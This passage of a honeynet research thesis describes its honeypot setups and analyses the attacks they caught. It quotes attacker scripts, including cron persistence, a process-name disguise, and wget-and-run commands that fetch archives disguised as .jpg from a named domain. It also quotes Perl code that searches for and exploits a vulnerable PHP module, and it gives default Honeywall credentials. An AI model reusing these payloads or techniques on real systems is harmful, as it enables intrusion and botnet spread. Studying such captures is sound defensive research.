words. Like the local honeynet setup, the root accounts are set with
strong passwords to minimize the risk of root compromises, that can af-
fect the system and network.

3.5 Hardware and Software

The hardware used in executing the experiment are 3 Dell Machines from
HiOA. The machines have the following specifications:

There was no need for high-end server to implement the design except that the
Honeywall machine requires three network interfaces and a high hard disk
capacity due to its detailed logging which was found manageable with the
Dell machines. The operating system used in all the honeypots in the local
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Dell Optiplex 755
CPU Intel Core 2 Duo E4600 Processor (2.4GHz, 2MB L2 cache, 800MHz FSB)

Memory (RAM) 4GB DDR2 Non-ECC SDRAM, 800MHz
Hard Disks 80GB SATA 10K RPM HDD

Dell Optiplex 755
CPU Intel Core 2 Duo E4600 Processor (2.4GHz, 2MB L2 cache, 800MHz FSB)

Memory (RAM) 4GB DDR2 Non-ECC SDRAM, 800MHz
Hard Disks 2 80GB SATA 10K RPM HDD

NIC 3 NICs, Broadcom Gigabit Ethernet LAN solution 10/100/1000
Dell Optiplex 745

CPU Intel Pentium Dual Core Processor (2.4 GHz, 2x1MB L2 cache, 800MHz FSB)
Memory (RAM) 4GB DDR2 Non-ECC SDRAM, 800MHz

Hard Disks 160GB SATA 10K RPM HDD

Table 3.1: Hardware specifications

honeynet setup is Debian Squeeze; while the default CentOS installation is
used in the Honeywall machine. The remote log server is also installed with
Debian Squeeze and in the distributed honeynet setup the instances are all
installed with Ubuntu OS.

For virtualization of the machine that hosts the honeypots XEN is chosen. As
described in chapter 1 to create a common environment between the two hon-
eynet setups the option was to go for the virtualization technology that is used
by AWS. Some of the data collection and management tasks require automa-
tion and ”Perl” and ”Bash” scripts are chosen due to the author’s familiarity
with the languages. The data analysis was done using R, MS-Excel 2007 and
Tableau Data Analytics Tool.

3.6 Data Management

In the entire life cycle of the honeypots there is logging of data and it’s wise
to consider the sensitivity of the collected data and identify management ap-
proach. The main consideration is the data from the honeypots. The decoys are
knowingly left vulnerable and there is a risk that data on those machines can
be corrupted. The remote logging procedure is one way out and for the data
elements that are not managed by the remote logging mechanism in place, a
close follow up of the machines is planned. Such data elements include key
strokes, traces of files and programs used by attackers. For the sensitivity of
such contents, the plan was to securely copy those traces to an isolated ma-
chine. Then take the hash of the traces for future integrity check and store
both the hash as well as the data elements.
It was expected to encounter bots on the honeypots and some files of the bots
to be executable. The ”strings” command is used to get some texts out of it. But
for the part that can’t be recovered from the executable files, it was required
to start the bots and see how the system behave in the due course. A detailed
analysis of the bots was done from the content of the files and by executing
them. The logging facility by the Honeywall was very helpful to get data from
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the network communication that is stared by the bots.
Based on the findings from the logs and the communication traffic botnets
are identified that use IRC communication channel to contact victim machines
with bots running on them. To identify those botnets an IRC communication
is established to the detected IRC Servers and the specific channels from a dif-
ferent environment than the honeypots using the windows based mIRC soft-
ware. The IRC communication channels revealed lists of compromised ma-
chines that are being controlled by attackers and it gives important piece of
information about the size of botnets as well as how they manage compro-
mised machines using bots and botnet networks.

For further analysis of the logged data, scripts were written and used to au-
tomate the tasks such as copying the logs, extract the required data elements
and get external information (like the geographical location of the IPs). After
all the data elements are in place further analysis was done using R, MS Excel
2007 and Tableau Data Analysis tools are used.
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Chapter 4

Results

In the chapter, a summarized presentation of the tasks in the entire research
work and the outcomes of the experiment are depicted. As shown in sections
3.2 and 3.3 two honeynet setups were deployed to implement the conceptual
model in section 3.1. The initial task of selecting the type of honeynet imple-
mentation to be used in order to reach the goals of the thesis work involved
detailed background study and decisions on the imminent trade-offs when
it comes to such sensitive issues. The next step of deploying the honeynets
involved configurations tasks and to deal with the data collection and man-
agement, scripts have been written and used. In order to present the data in
an edible format and to perform intelligent analysis, scripts are written and
used along with standard data analysis applications. In the next sections the
details of the major milestones in the research work are shown.

4.1 Distributed Honeynet Setup

The other implementation of the model is the distributed honeynet setup with
a backbone on the AWS cloud. In this setup a total of 22 instances were up
and running with Ubuntu OS. 16 of the machines have a similar setup and
distributed in 8 data centers, to make 2 instances per data centers. The other
6 instances have the same setup except that each has a user account added
with commonly used user and personal names and weak passwords. The EC2
instance creation steps are followed as per the official guideline at AWS. To
make this step easier, there is an option of creating an Amazon Machine Image
(AMI) from an already configured and working instance and use the AMI to
create similar instances. In the data center at Ireland, one AMI was created but
transferring that AMI to other data centers took quite a long time and it was
decided to create instances one by one. However, if one wants to create high
number of instances in one location and the publicly available AMIs don’t sat-
isfy the need, it’s advisable to create on instance, configure it as required and
create the AMI from that instance to be used as a model to create remaining
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instances. As described in section 3.2 there is no control over the network of

the instances, any of the machines created run as separate entities even if they
are in same data center. In order to track the machines, the option was to setup
a central log server and that was created at HiOA network. In the /etc/rsys-
log.conf file the IP address of the remote log server, the communication pro-
tocol to use (UDP/TCP) and the port number for the rsyslog communication
must be set in each client. It’s also important to specify which log files to be
remotely logged. On the server side the list of allowed clients, the protocol and
the port number to be used must be specified. In that way the clients will send
their logs to the remote server rather than logging it. A simple attempt, but
very helpful if succeeded, was made to send keystrokes to the remote server.
This is done by one of the user defined ”local0” to ”local7” facilities of syslog
configuration. The first line in listings 4.1 is inserted in ”rsyslog.conf” file of
each client and the second line is inserted in each user’s ”.bashrc” file 1 .

Listing 4.1: To log keystrokes by configuring .bashrc and rsyslog basicstyle
1 local6.debug @@IP:Port
2 export PROMPT COMMAND=’RETRN VAL=\$\?;logger −p local6.debug ”\$(whoami) [\$\$]:⤦

Ç \$(history 1 | sed ”s/ˆ[ ]*[0−9]\+[ ]*//” ) [\$RETRN VAL]”’

Due to the restrictions on AWS instances security requirements and acceptable
use policy, the honeypots can not be left as open as the ones hosted in the lo-
cal honeynet setup, and an effort was made to filter the network traffic and
minimize the risk of outgoing attacks by using firewalls. The firewall in place
limits the rate of outgoing connection per minute.

In the central system log server hosted at HiOA the /etc/rsyslog.conf file is
configured to include the list of machines that it can accept logs from. The IP
address of this machine is used in the client machines and if attackers succeed
to log in to any of those clients they can further target this machine and some
security mechanisms has to be in place. In order to protect the machine a fire-
wall is used.

4.2 Local Honeynet Setup

The local honeynet comprises 2 machines hosted at the HiOA vlab network,
depicted in figure 3.3 below the horizontal broken line. The first machine is
used to run the virtual honeypots and installed with the open source Xen Hy-
pervisor tool that is freely available available under the GNU General Public
License (GNU2). The VMs are paravirtualized and and the main VM or Dom0
is first installed with Debian Squeeze. To give network access for other Do-
mains (referred as DomU), the network interface of Dom0 is configured as a

1How to log bash commands
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bridge using the brctl 1 Linux command. To create DomUs Xen configuration
files are used to hold system configuration parameters such as host name, IP
address and memory size.

Listing 4.2: Create VM Image in Xen
1 xen−create−image −−hostname <hostname> −−ip <ip> −−vcpus 2 −−pygrub −−dist⤦

Ç <lenny|squeeze|...>

this creates a configuration file with the the hostname given for the VM in the
/etc/xen directory and the VM can be started by using the following com-
mand -

Listing 4.3: Create VM in Xen
1 xm create /etc/xen/hostname.cfg

Using these two steps a number of VMs were created in the due course of the
thesis work to run as honeypots; the maximum number of VMs at any point
in time was 4 and all the VMs were configured with public IP addresses from
the 128.39.73.0/24 network. Xen provides command line options to control the
VMs by sending commands to start, stop, pause, restart and do other actions
on the VMs. This commands are found very helpful in those situations when
VMs are compromised and it was decided not to run them anymore, the ma-
chines are stopped and mounted in a sandboxed environment by taking the
image file.

As companies promote their products, a honeynet designer shall perform some
tasks to invite and let in attackers. The mechanisms have to be a deceptive so
that the real purpose of the decoys shall not be known to those who have the
lust to come. To get SSH scan related attacks the incoming traffic has not been
filtered and commonly used user names with weak passwords are added in
the honeypots. Kippo fake ssh server which is a medium-interaction honey-
pot tool is also configured in one VM and a separate section (4.2.1) talks about
that.

To get web application related attacks, vulnerable web application related tools
where in use. This includes installation of older version of Joomla, Drupal and
phpMyAdmin. Some websites where also hosted in the web server honey-
pots to give the sense that the web server is real. The robots.txt file is also
knowingly edited to show the file structure of the web server and saved in the
top level directory of the web sever. The ”robots.txt” file is used by web site
owners to give instructions for web robots which part of the web server are
allowed and which part are not allowed to be directly accessed by the robots;
this is called The Robots Exclusion Protocol. The format of the file is simple
text and the content looks as shown here :

1http://wiki.debian.org/BridgeNetworkConnections
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Listing 4.4: Sample robots.txt file
1 User-agent: *

2 Disallow: /

3 Allow: /

The first line specifies any robot is allowed to continue reading the file. ”Dis-
allow” or ”Allow” followed by file paths are listed to specify which path is
allowed and which path is not allowed for the robots. Although legitimate
web robots like the Google Bot abide by the exclusion protocol set in the file,
malicious robots goes on the contrary. It’s one gateway to know the contents
of the web server and spammers also collect email addresses from the robot
files.

After the VMs are created the next step was to configure the Honeywall ma-
chine. As shown in section 3.3 the Honeywall machine is the bridge that
connects the machine hosting the VMs to the network. The Honeywall ma-
chine is configured with 3 network interface cards, two of them to enable the
bridge and the last one is used for remote connection and management of the
Honeywall. The Honeywall machine is installed with a boot-able Honeywall
CDROM that comprises CentOS OS platform and other security related tools.
The installation is interactive and it’s possible to configure most of the param-
eters in the GUI dialogues. The first time the system boots the installation
dialogue starts automatically. If one wants any change it’s possible by running
the command ”menu” as a root user. The default logging user name to the
Honeywall is ”roo” and password ”honey”. It’s very important to change the
password in the first log in session which must be done by disconnecting the
machine from the network to avoid the risk of compromises. The configura-
tion parameters include the network address of the honeypots, firewall setup,
snort configuration, restriction to DNS service and outbound connections from
the honeypots, the possibility of remote SSH logging to the Honeywall and Se-
bek related parameters.

4.2.1 Kippo Honeypot

The high-interaction honeypots in both honeynet setups lack the full ability
to log keystrokes. To get some data out of it, Kippo is configured in one of
the honeypots in the local honeynet. Kippo is a medium-interaction honeypot
tool written in python and it has the ability to run as an SSH server to handle
incoming traffic over port 22. The firewall in the Honeywall machine is con-
figured to port forward ssh connection requests to the IP of kippo VM, to port
2222 so that the request will be handled by Kippo.

The tool is capable of logging user names, passwords and commands run by
attackers once they gain access to a machine. The honeypot is configured with
a list of passwords for the ”root” account so that attackers that provide one
of those passwords can get access to the emulated shell. The passwords are
stored in the pass.db file and it’s possible to add, remove or list passwords by
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using the passdb.py python script. The syntax is as shown below -

Listing 4.5: Usage Example to Manage Passwords is Kippo basicstyle
1 Usage: passdb.py <pass.db> <add|remove|list> ⤦

Ç [password]

2 Eg. ./utils/passdb.py data/pass.db add letmein

A list of passwords from the top commonly used password list are selected as
attackers target those passwords, for a fairly obvious reason.
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Chapter 5

Analysis

In this chapter a detailed presentation and comprehensive evaluation of the
results will take place. The local and distributed honeynet setups resulted
in data sets that can be used for statistical analysis in identifying patterns of
probes and attacks. These data sets are evaluated with respect to the difference
between local/individual instances and the overall output. The compromised
machines from both setups have also resulted attack scripts and programs. The
general structure, working mechanisms and findings from the manual source
code inspection are presented along with the botnets identified based on the
data collected from compromised machines.

5.1 Compromised Honeypots

In the due course of the research there were a total of 4 VMs that run as high-
interaction honeypots. The methods used to lure attackers to those machines
includes but not limited to usage of attractive (from the attackers point of view)
host names, user name and password combinations that are meant to be eas-
ily broken, different public IP address for each machine, a network with no or
little defense mechanism and installation of vulnerable web applications. A
detailed description about the idea behind doing these tasks and the way to
do that, is shown in section 3.4. The background study and state of the art
has demonstrated that the value of the honeypots depend on their proneness
to attack. To minimize the risk of attackers using the honeypots as their arse-
nal two protection mechanisms where in place. In the local honeynet setup,
the honeypot machines were walled from the external network by the Honey-
wall machine that run Snort and configured with firewall to block extrusion
attempts. In the distributed honeynet, each honeypot machine is limited from
making outbound connections from 10 to 20 attempts per minute. Through
out the experiment a close follow up of the honeypots was held by checking
logs and statistics from the Honeywall machine through its Walleye web inter-
face.
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Based on the setup described above, the honeynets entertained a number of
attacks that are categorized into three groups. The first group contains SSH at-
tacks on the honeypots in both the local and distributed honeynet setup with
high-interaction honeypots. The second group contains similar SSH attacks
but to the Kippo medium interaction honeypot. The third group contains at-
tacks to the webserver honeypots. All groups of attacks have similarities and
differences and the three categories are identified based on the method used
to lure different attacks to the honeypots.

5.1.1 SSH Attacks to The High-Interaction Honeypots

Attack 1
This group comprises attacks that materialized through brute force of pass-
words in log in attempts through SSH service. The need to use strong pass-
word is advised in varieties of ways to computer users but attackers are still
compromising systems using that weakness and the results found in the SSH
attacks are showcases to that. The first compromise in the experiment was on
one of the honeypots in the local honeynet setup. The user name used for that
machine was ”test2” and the compromise happened on the fourth day after
the honeynet setup date.

The attacker then downloaded her script to the machine along with other sup-
porting files. The .bash history file contained only 4 lines. The lines show that
the attacker have logged in to the machine more than once because there is an
”exit” command and the commands to run the programs are shown without
a prior command to download the scripts and programs. The first two lines
can be from her first session in which the content of the machine have been
checked and exit. The third line shows an attempt to run a perl script named
”ha” using the C-Perl mode which is more advanced than the normal perl
mode. That necessarily won’t work because the machine was running normal
Perl mode. The another script named ”start” is started using 3 parameters 24,
0 and 255.

Listing 5.1: History File of User ”test2”
1 ls

2 exit

3 cperl ha

4 ./start 24 0 255

From the manual scan in the machine no file named ”ha” was found but ”start”
was there; whose content is shown in the listings below.

52



5.1. COMPROMISED HONEYPOTS

Listing 5.2: Content of the script named ”start”
1

2 #!/bin/sh

3 if [ $# != "3" ]; then

4 echo "use: $0 <class> <from> <to>"

5 exit 0

6 fi

7 echo

8 a=$1
9 b=$2

10 c=$3
11 let c=c+1

12 while [ $b -lt $c ]; do

13 ./rdp -h $a.$b.0.0/16 -t 25 -d >/dev/null&

14 let b=b+1

15 done

From the fourth line in above listings the ”start” script was given three num-
bers as parameters and with it’s while loop it calls another script/program
named rdp that accepts the two numbers as parameters while the third num-
ber is used to limit the while loop count. From the format of the parameter that
is given to the rdp script/program it seems scanning of IP addresses. Along
with the IP address, another parameter ”-t” is shown with value 25 and the
”/dev/null &” show the script to run in the background and made not to dis-
play if there are error messages.

The ”rdp” file is binary file and to check its content, the ”strings” command is
used and the output shows library files and a number of standard functions in
C. The last couple of lines indicate the parameters transferred to rdp program
are t:h:u:p:vd. ”h” represents host, ”d” to stop brute for after a valid user, ”t”
represents number of threads. Which shows the program might have been
trying to connect to hosts using threads so that to make multiple connection
attempts in short period of time. In line 97, there is a comment that says de-
crease the number of thread when not able to create socket.

Lines 77, 80 and 81 indicate the program has used the files named ”users”,
”words” and ”vuln.txt” that are also found in the compromised machine. The
first two files contain list of words that are possibly be passwords to try when
making connection attempts. The third file has only one line that contains IP
address, user name and password. IT also shows SMTP in the end which in-
dicates the user name and password might have been used to make SMTP
connection to that server whose IP is listed. The geographical location check
of the IP address indicates it’s registered in Vietnam.

Listing 5.3: Content of the ”vuln.txt” file
1 IP: 123.17.0.96 USER: usersebydefault PASS: uparolabydefaultbro RDP SMTP
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Attack 2
The second compromise of SSH brute force attack is on the honeypot with the
user name ”user”. After repeated trials the attacker was able to get access to
the machine. The next day a successful log in is detected with first try but
from a different IP that is not in the log of the machine to that point. The
”.bash history” file of the user shows the detailed steps the attacker has fol-
lowed. The commands like ”w”, ”uptime” and ”ip addr” are run to get more
information about the machine under her control. Here it should be noted
that in the statistical analysis of the logs and traffic information, the address
”31.31.47.159” and its geographical location ”Czech Republic” are not avail-
able in any of the list of IP addresses that are found notable based on statistical
assumptions.

A ”wget” to the URL ”31.31.74.159/u/exp.tgz”, ”31.31.74.159/psoty.tar.gz”
and ”31.31.74.159/u/expl.tar” still (at the time of this writing) provides the
scripts and programs which the authors kept for future references. There
might be a possibility that the content of the scripts or programs have changed
from the version that was detected in the compromised machine but out of
curiosity the files were checked. One of the files has the same name ”exploit”
as it was in the command seed from the compromised machine log. The file
is binary file and ”strings” command was used to see the text part of the file.
Similarly the program uses ”C” libraries and functions. In the messages that
are shown in the last couple of lines, the exploit might have been checking for
vulnerabilities at the kernel level to gain access to the root account.

In the couple of days, after the compromise, the attacker wasn’t showed up
but the network analysis in the Honeywall shows an active traffic to/from
the compromised machine. By the time the machine was scanned manually
most of the files where not available. Two lines (Line 77 and 78) show the at-
tacker has removed files from the machine. But the ”.ssh” folder of the user
”user” contains new files. The listing below shows the files retrieved from the
mounted instance of the original XEN image file that’s is kept in the Dom0
machine.

Listing 5.4: The list of files in the users’s .ssh directory
1 root@alligator:/home/xen/domains/management/test/home/user/.ssh# ls -la

2 total 1956

3 drwxr-xr-x 2 deribew deribew 4096 Mar 19 21:13 .

4 drwxr-xr-x 3 deribew deribew 4096 Mar 19 21:14 ..

5 -rw------- 1 deribew deribew 372 Mar 19 17:42 init

6 -rwxr-xr-x 1 deribew deribew 1972312 Mar 19 17:40 keys

7 -rw------- 1 deribew deribew 5 Mar 24 02:00 pid.songo

8 -rw------- 1 deribew deribew 5 Mar 24 02:00 pid.star

9 -rw------- 1 deribew deribew 372 Mar 19 17:44 rsa

A perl script was written to listen to read system calls to that particular user
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by using ”strace” command. The script has been displaying the content of the
read system call extensively for a couple of days but the output shows char-
acters encoded and was not understandable to the author. A search over the
internet hasn’t also lead to any decoding. The other step taken was to check-
ing the tcpdump logs in the Honeywall machine using ”Wireshark”. That step
lead to the identification of what the attacker have been doing. The files in
the .ssh folder where used only to log in to the the victim (which the attacker
refer it as Entity) as shown in a file that contains a list of 9 IRC servers and
the IP address of the machine. The output of the Wireshark analysis shows the
compromised machine was accepting traffic from the remote IRC servers over
the ports 6667 and 6666. Following the TCP streams thoroughly ”Songo” and
”Star” are found to be the Nick names given to the compromised machine. It
was possible to connect to the IRC servers from a different machine and bot-
nets have been identified. Later in this chapter details are presented about the
communication with the IRC servers and the identified botnets.

Attack 3

The third compromise is also followed a similar method of brute forcing with
different user names and passwords. Over time the author was changing pass-
words to slightly stronger format to check if there are smarter probes than
brute forcing. But it was not possible to come to any conclusion from what
was noticed in the duration of the experiment. In this victim machine the at-
tacker has downloaded files and the first file that run was named ”autorun”.

Listing 5.5: Content of the script named ”autorun”
1 #!/bin/sh

2 pwd > dir

3 dir=$(cat dir)

4 echo "* * * * * $dir/update >/dev/null 2>&1" > cron

5 crontab cron

6 crontab -l | grep update

7 echo "#!/bin/sh

8 if test -r $dir/mech.pid; then

9 pid=\$(cat $dir/mech.pid)
10 if \$(kill -CHLD \$pid >/dev/null 2>&1)

11 then

12 exit 0

13 fi

14 fi

15 cd $dir
16 ./run &>/dev/null" > update

17 chmod u+x update

The script first gets the path of the current directory and used it to insert the
script ”update” into the crontab of the user so that it runs continuously. The
script also starts another program named ”run” whose output is forwarded
to ”update” which is made executable at the last line of the script. The script
named ”run” has only two lines the first one is to set the system PATH variable
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to ”.” and next a call to ”httpd”. The content of the ”httpd” program indicates
it’s a C program but with a different form from the programs identified in
the previous two compromises. It contains list of IRC communication related
parameters and IRC commands. On line 880 of the file there is a command to
connect the yahoo servers using ping (ping -f -s 65000 yahoo.com) but as ”-s”
represents the number of data bytes which is set as 65000, a very high value.
”-f” options for flood ping and it prints ”.” for every ECHO REQUEST sent
and ”/” fore every ECHO REPLY received. with no value given, the default
interval is 0 and it outputs ”.” as fast as requests are sent. The manual page of
”ping” shows only the super-user may use option with zero interval.

Attack 4

The fourth attack is quite similar with the third one with respect to the organi-
zation of the scripts and the communication pattern between them. The bot is
found in the user’s home directory. But a new incident was noticed inside the
first level directory of the bot. The result of ”ls -la” as shown in 5.1 displays
the usage of space ” ” as a file name.

Figure 5.1: Screen Shot Showing the list of files with the first one having ” ” as file
name

The sub directories for two levels are with ” ” file name. The the third level
revealed a directory named ”bot”. This directory contains 9 files; some files
contain parameters for IRC communication, an entry line to crontab and more
scripts. The analysis of the traffic using Wireshark has also indicated commu-
nication of the compromised machine to IRC servers over a couple of channels.
Based on the information from the files inside the compromised machine and
from wireshark, the author has connected to the IRC server and the specific
channels identified. As shown in the screen shot from mIRC, the zombies are
given name with similar structure, a similar word followed by a number at the
end. A piece of code from one of the scripts has also revealed a naming ap-
proach to the compromised machines following specific pattern. The attacker
can then find it easier to communicate with group of zombies and distribute
commands.
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Figure 5.2: Screen Shot from IRC Channel that is Building a Botnet (The wording in
the names are not found appropriate and covered in the figure)

Apart from the usage of the ” ” file name another trick detected through the
analysis is that one of the binaries was running on the compromised machine
but ”ps -aux” displays ”sshd” in the list which seems a legitimate known pro-
cess. But the result from the ”lsof” command shows the file that run as ”sshd”
is in a location in which the attacker has put the binaries. It’s possible to do
that in a one line code in Perl (5.6 but it highly favors the attackers. So when
checking the system specially at the time when noticeable anomalous behav-
iors are seen, ”lsof” would fit for detailed inspection.

Listing 5.6: A Perl script with a line of code to change the name of the process when
the script runs basicstyle

1

2 #!/usr/bin/perl -w

3 $0="sshd\0"x16;;
4 sleep 60;

5

6 }

Attack 5
The 5th attack is noticed on the honeypot at the distributed honeynet setup. In
that setup, from a total of 22 machines, 6 machines in 3 data centers were set
with commonly tried user name and password combinations. Over a period
spanning 24 days, 4 machines were compromised two in each of the two data
centers. The user names are ”user”, ”test”, ”daniel” and ”oracle” and the third
data center has machines with user names ”user1” and ”centos” which are not
compromised until the time of this writing.
From the four compromised machines, the attacker’s tool is found only in one
honeypot and in the others, no anomalous behavior is noticed from the log but
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more than one successful log in is detected in which the attacker hasn’t done
any noticeable act.
As mentioned in section 4.1 the .bashrc file of each user was set to log key
strokes on the shell so that ”rsyslog” can forward it to the remote log servers.
That configuration has yield a result in this compromise. The compromise was
to the user name ”oracle” and the auth.log content is attached in Appendix .
The attacker first checks for logged in users and appended her .ssh key to the
”authorized keys” file in the machine, changed the password for the user so
that others can’t get access to the machine and downloaded her arsenal. No-
tice the two lines in listings 5.7 contain set of commands that are meant to run
consecutively. This is not a common approach when a person run commands
and this indicates the attack might be an automated attack. The number at the
end of the line shows the return value indicating status of the command; it re-
turns 0 for successful commands and other numbers when it encounter errors.
Based on that, the attacker has succeeded with the first line only. The name of
the downloaded file is ”.jpg” extension which might mislead a person even if
the URL is seen.

Listing 5.7: The commands used to download and execute tools basicstyle
1 wget motivat.do.am/Flood.jpg;tar zxvf Flood.jpg;rm -rf Flood.jpg;cd ⤦

Ç [syslogd];./autorun ; ./go [0]

2 wget motivat.do.am/Rfast.jpg;tar zxvf Rfast.jpg;rm -rf Rfast.jpg;cd ⤦

Ç .r;./start Zz [127]

The first script run is ”autorun” whose manual code inspection indicates a sim-
ilarity from the previously described attacker scripts. But there is perl script
named ”cyc.hold” that is executed from ”autorun”. Further manual code in-
spection was done on ”cyc.hold” which has yield some interesting results. It’s
a modular script that is focused on scanning and flooding attacks. A for loop
within the ”parse” module of the script contains the lines shown in listings 5.8,
which indicates a search for URLs of vulnerable web applications based on the
availability of specific php modules.

Listing 5.8: A ”for loop” in the parse sub routine of ”cyc.hold” that looks for remote
code injection vulnerability

1

2 foreach $url (@urls) {

3 $cur_time = time - $itime;
4 my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)\/(.+)$/;
5 $url =$path."/SQuery/lib/gore.php?libpath=$boturl?";
6 $page = http_query($url);
7 $exploited = $exploited + 1;

8 }

A Google search of the ”SQuery/lib/gore.php” shows that SQuery contains a
flaw that allows attackers to execute remote commands which arise due to a
vulnerability in ”gore.php” that does not properly sanitize input.
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The script also contains list of top level domains and a loop that parses the
list to look for url from the result of Google Search for a URL construct that
contains modules.php. The $dom vailable contains any of the listed top level
domains and it will be changed dynamically while the loop iterates. As shown
in listings 5.9, in order to pass Google’s input check a random number is gen-
erated and prep-ended to the search query. The result from the Google search
is then parsed from the source and using Perl regular expression only the URL
part of the result is extracted which yields the list of websites having the ”mod-
ules.php” in their URL.

Listing 5.9: A ”for loop” in the fetch sub routine of ”cyc.hold” that scans all top level
domains using Google search for specific php module

1

2 foreach $dom (@dominios)

3 {

4 push ⤦

Ç (@str,"%22inurl%3Amodules.php%3Fname%3DSQuery%22+site%3A".$dom."%20");
5 }

6

7 my $query="www.google.com/search?q=";
8 $query.=$str[(rand(scalar(@str)))];
9 $query.="&num=$n&start=$s";

10 my @lst=();

11 my $page = http_query($query);
12 while ($page =~ m/<a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){

13 if ($1 !~ m/google|cache|translate/){

14 push (@lst,$1);
15 }

16 }

17 return (@lst);

18 }

From the previously described two sub routines the attacker would get a list
of URLs that might have the vulnerabilities associate with the php modules.
Having the two php modules ”gore.php” and ”module.php” in ones URL
doesn’t necessarily mean that the attacker will compromise the machines. How-
ever, it indicates the possibility of getting severs not patched for the associated
vulnerabilities. Using the list of URLs as a parameter the last module in the
script ”http query” is executed. This is where the exploit is tried to the identi-
fied URLs one by one by using ”GET” request with a constructed URL.
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Listing 5.10: A sub routine in cyc.hold to send exploits to URLS identified by the
previously described two methods

1

2 sub http_query($){
3 my ($url) = @_;

4 my $host=$url;
5 my $query=$url;
6 my $page="";
7 $host =~ s/href=\"?http:\/\///;

8 $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
9 $query =~s/$host//;

10 if ($query eq "") {$query="/";};
11 eval {

12 local $SIG{ALRM} = sub { die "1";};

13 alarm 10;

14 my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80", ⤦
Ç Proto=>"tcp") or return;

15 print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: ⤦
Ç */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";

16 my @r = <$sock>;
17 $page="@r";
18 alarm 0;

19 close($sock);
20 };

21 return $page;
22

23 }

The script contains other modules such as the tcpflooder and udp flooder that
sends TCP and UDP packets to remote machines in a specified time interval
or using loop counters. Further analysis of can also yield for more interesting
findings.

5.1.2 SSH Attacks to The Medium Interaction Honeypot

The machine that was installed with kippo, a medium interaction ssh hon-
eypot, received high amount of connection requests. From which 47% of the
attempts were by using ”root” as user name. The total number of successful
log ins to the honeypot was 93. The honeypot was up for 22 days and the total
number of connection requests was 14,514 which makes it an average of 659.7
per day which makes it 1 request every 2.2 minute. A detailed analysis of the
collected log data is presented in section 4.2.1. In this section focus is give to
the connection attempts that succeeded.

The record shows once the attackers get access to the machine they start ex-
ecuting common commands to learn more about the system they got hold
of. The kippo ssh honeypot has a facility to log the user names, passwords,
commands and duration of the attacker on the machine. The commonly tried
passwords and commands run by attackers are the two particular advantages
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of running such honeypots. With respect to the logging of passwords the hon-
eypot has succeeded to collect 5862 unique passwords of which the most com-
monly tried passwords are shown in 5.9. However, the commands and the
time duration the attackers stayed live in the system, show that the attackers
might have found it easy to identify the decoy and leave without doing any
thing on the machine apart from running commands like ”w”, ”ifconfig” and
”uptime”.
The author’s experience in using the command line shell of kippo shows that
the services running on the machine are very limited and when typing a com-
mand, pressing tab (which is a common method to complete commands au-
tomatically) neither completes the command nor gives suggestions. It will
instead consider tab as character and generates space. The simulated environ-
ment is limited to fewer commands than normal and simulation of more com-
mands is very important. Whenever commands, that are not in the simulated
environment are run, it displays ”Segmentation Fault” error message. Due to
these issues and the attackers’ own evaluation the honeypot wasn’t able to log
notable commands or actions from attackers. The results show kippo honey-
pot is found viable for collecting password, user name, source IP, port number
or other data elements from SSH connection requests.

5.2 Attack Probes

In references [42] and [32] the value of honeypots is identified as their potential
to be attacked, probed and compromised. The other basic assumption about
research on honeypots is that any communication attempt can be taken as an
act against the Integrity and Security of the machines. It’s mainly because
of the fact that honeypots are deployed with no production value that might
attract external parties. Some exceptions to this assumption can be the case
of Google and other search engine bots as long as they abide by the normal
and standard working procedures. For instance, search engine bots check the
”robots.txt” file in the website’s root directory to see which part of the webs
server’s directory are allowed and which are disallowed.

In this experiment, the kippo medium interaction honeypot was running SSH
service and no other traffic was expected on the machine. The SSH service
requests are whole taken as malicious because the server was not giving the
service to any user. In the high-interaction honeypots both SSH service and
Web service were up and running but in the distributed honeynet setup only
SSH service was running. The communication requests to all the honeypots
were logged and a detailed analysis of the is presented in the consecutive sec-
tions.
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5.2.1 Network Traffic Log from the Honeywall

The Honeywall machine was running as a transparent bridge between the
honeypots and the external network. As shown in 3.3 the setup enabled the
Honeywall machine to sniff any communication traffic to/from the honeypots.
The data was logged in that machine and the Walleye web interface enabled
close follow up of the network communication passing through it. In this sec-
tion, the data elements that are believed to have greater importance with re-
spect to the problem statements of the research work are presented.
The data presented here are taken from 12 weeks period of time and in this
section more focus is given to identify and analyze data elements that were
not collected in the distributed honeynet setup and from the kippl medium-
interaction honeypot. The first data element identified from the logs is the
volume of traffic to/from the honeypots with respect to flow count, packet
count and bytes. And the second parameter considered is the number of ports
used either as a source or destination.

The data in table 5.1 shows the list of IP addresses that have highest flow in the
12 weeks period of time. It’s obvious to see the honeypots in this table because
the flow count is in both directions and every traffic that passes through the
honeywall would be either from the honeypots or to the honeypots. The other
IP addresses however are definitely with a malicious intent and the flow count
of the IP address ”61.145.118.150” is even higher than the three honeypot ma-
chines which shows an intensive communication with the honeypots. A black
list check on a website 1 has shown that only 4 out of 82 blacklist checkers have
blacklisted the IP.

Table 5.1: IP Addresses with highest destination port usage

IP Address Country Flow Count
128.39.73.223 Norway 116748
61.145.118.150 China 69029
128.39.73.225 Norway 59630
128.39.73.221 Norway 32932
128.39.73.226 Norway 20523
222.239.255.64 Republic of Korea 17007
117.21.182.50 China 14081
24.201.206.67 Canada 7752
41.74.172.18 Rwanda 7140
219.146.8.90 China 6597

Table 5.2 show IP addresses with highest destination port usage. The highest
was registered from ”114.141.72.53”. Further investigation of the logs show

1http://whatismyipaddress.com/blacklist-check
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that was on a port scanning attempt in one day from 10:39:14 until 18:13:51
for a total of 2,158 destination ports. The IP address is from Singapore and
the blacklist check1 shows the IP address is blacklisted only by one host. The
source port used was 80 and a Chinese website is identified when browsing
to that IP address. Another IP address is identified from the school’s network
”128.39.73.210” which has made connection attempts to 1,000 destination ports
from 3,073 source ports.

Table 5.2: IP Addresses with highest destination port usage

IP Address Country Destination Port Count
114.141.72.53 Singapore 2,158
128.39.73.223 Norway 1,006
128.39.73.210 Norway 1,000
54.228.84.64 United States 950
37.191.134.236 Norway 949
218.6.135.165 China 328
124.129.63.32 China 255
112.82.39.97 China 201
58.221.214.202 China 164
159.226.89.2 China 119

Table 5.3 shows the list of IP addresses that used highest number of source
ports in network communication. The honeypot machine with IP 128.39.73.223
has used 27,783 ports but the destination port count from the table 5.2 is 1006,
which the shows the attackers might have been trying to communicate to other
machines using the honeypot. In such cases, to avoid blockage it’s wise to
